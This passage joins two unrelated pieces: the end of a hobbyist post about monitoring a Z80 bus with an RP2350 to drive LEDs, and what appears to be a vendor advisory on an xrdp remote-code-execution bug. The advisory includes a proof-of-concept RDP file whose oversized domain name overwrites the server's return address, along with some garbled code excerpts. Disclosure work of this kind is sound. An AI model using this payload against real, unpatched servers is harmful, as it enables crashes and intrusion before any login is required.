In short, it looks pretty, but is essentially useless for any practical purposes. But it illustrates the idea and shows the connections are working.
// GPIO Base 0 Definitions
// Start from GPIO 0 up to GPIO 31
//
#define GP_ADDR_START 0ul
#define GP_ADDR_PINS 16ul
#define GP_ADDR_MASK (0xFFFFul<<GP_ADDR_START)
#define GP_DATA_START 16ul
#define GP_DATA_PINS 8ul
#define GP_DATA_MASK (0xFFul<<GP_DATA_START)
#define GP_RD 24ul
#define GP_WR 25ul
#define GP_M1 28ul
#define GP_MREQ 30ul
#define GP_IORQ 31ul
#define GP_CTRL_MASK ((1ul<<GP_RD)|(1ul<<GP_WR)|(1ul<<GP_M1)|(1ul<<GP_MREQ)|(1ul<<GP_IORQ))
#define GP_CTRL_PINS 5ul
int ctrlPins[GP_CTRL_PINS] = {GP_RD, GP_WR, GP_M1, GP_MREQ, GP_IORQ};
#define GP_BASE0_MASK (GP_ADDR_MASK | GP_DATA_MASK | GP_CTRL_MASK)
// GPIO Base 1 Definitions
// Start from GPIO 32 onwards
//
#define GP_LED_START 40
#define GP_LED_MASK (0xFF<<(GP_LED_START-32))
#define GP_LED_PINS 8
int ledPins[GP_LED_PINS] = {40,41,42,43,44,45,46,47};
#define GP_BASE1_MASK (GP_LED_MASK)
void setup() {
// Pins in range lower than 32 can be initialised at once
gpio_init_mask(GP_BASE0_MASK);
gpio_set_dir_in_masked(GP_BASE0_MASK);
// Set the LED outputs
// Can't be set all at once I think...
for (int i=0; i<GP_LED_PINS; i++) {
gpio_init(ledPins[i]);
gpio_set_dir(ledPins[i], true); // out = true
}
}
void loop() {
uint32_t gpio31 = gpio_get_all();
uint8_t data8 = (GP_DATA_MASK & gpio31) >> GP_DATA_START;
gpio_clr_mask_n(1, GP_LED_MASK);
gpio_set_mask_n(1, (data8<<(GP_LED_START-32)));
delay(5);
}RC2350 8-bit IO Module
Having got this far, it is now possible to check for various control values on the Z80 bus, for example perhaps looking for an IO write to a certain address.
For an IO write, I need to look for /IORQ and /WR going LOW and then the address I’m interested in appearing in the lower 8 bits of the address bus. Then I can pull the data off the data bus.
The following code looks for a write to IO address 0 and lights the LEDs according to the value of the data bus.
void loop() {
uint32_t gpio32 = gpio_get_all();
// Look for /IORQ, /WR, and ADDR matching IO location 0
if (
((gpio32 & GP_CTRL_MASK) == ((1<<GP_RD)|(0<<GP_WR)|(1<<GP_M1)|(1<<GP_MREQ)|(0<<GP_IORQ)))
&& ((gpio32 & 0xFF) == 0)
)
{
// Grab the data off the bus and update LEDs
uint8_t data8 = (GP_DATA_MASK & gpio32) >> GP_DATA_START;
gpio_clr_mask_n(1, GP_LED_MASK);
gpio_set_mask_n(1, (data8<<(GP_LED_START-32)));
}
}I’ve basically used a 32-bit dual-core ARM CORTEX M0+ running at 150MHz to emulate a couple of TTL logic chips as can be found in the RC2014 digital IO module to flash some LEDs from an 8-bit, 10MHz processor!
This is the BASIC code that is running on the RC2014:
10 FOR F=1 TO 6
20 OUT 0,2^F
30 GOSUB 100
40 NEXT F
50 FOR F=7 TO 0 STEP -1
60 OUT 0,2^F
70 GOSUB 100
80 NEXT F
90 GOTO 10
100 FOR Z=1 TO 200
110 NEXT Z
120 RETURNYou can see this running in the video at the start of this post.
Conclusion
Naturally this is a pretty crazy thing to be doing, but it is showing the basic idea.
At present, this is just running at full CPU speed, consuming one of the cores of the RP2350 just to watch what is going on, on the bus.
There are a number of interesting directions that could now be taken. Some that I’m pondering are:
- Support both read and write, i.e. INPUT and OUTPUT IO access.
- Getting the IO handling onto one core of the RP2350 whilst the other core does something with the information.
- A memory-mapped device, watching for memory reads and writes.
- Controlling the Z80 clock from the RP2350 for some interesting clock control possibilities – varying speeds, instruction aware-stepping, etc.
- Go back to my experiments with PIO on the Raspberry Pi Pico to see if I can do it more autonomously.
- Emulate some of the existing Z80 peripherals, similar to how the Pico is used on the RP6502 The Picocomputer. Although it is worth noting that this is essentially what the Z80-MBC is doing…
I doubt many of these will get past the thinking stage, but there are a lot of options now the basic mechanisms seem to work.
Kevin
#pga2350 #rc2014 #rp2350 #z80 -
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}v n -= u8len;
v += u8len;
}else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.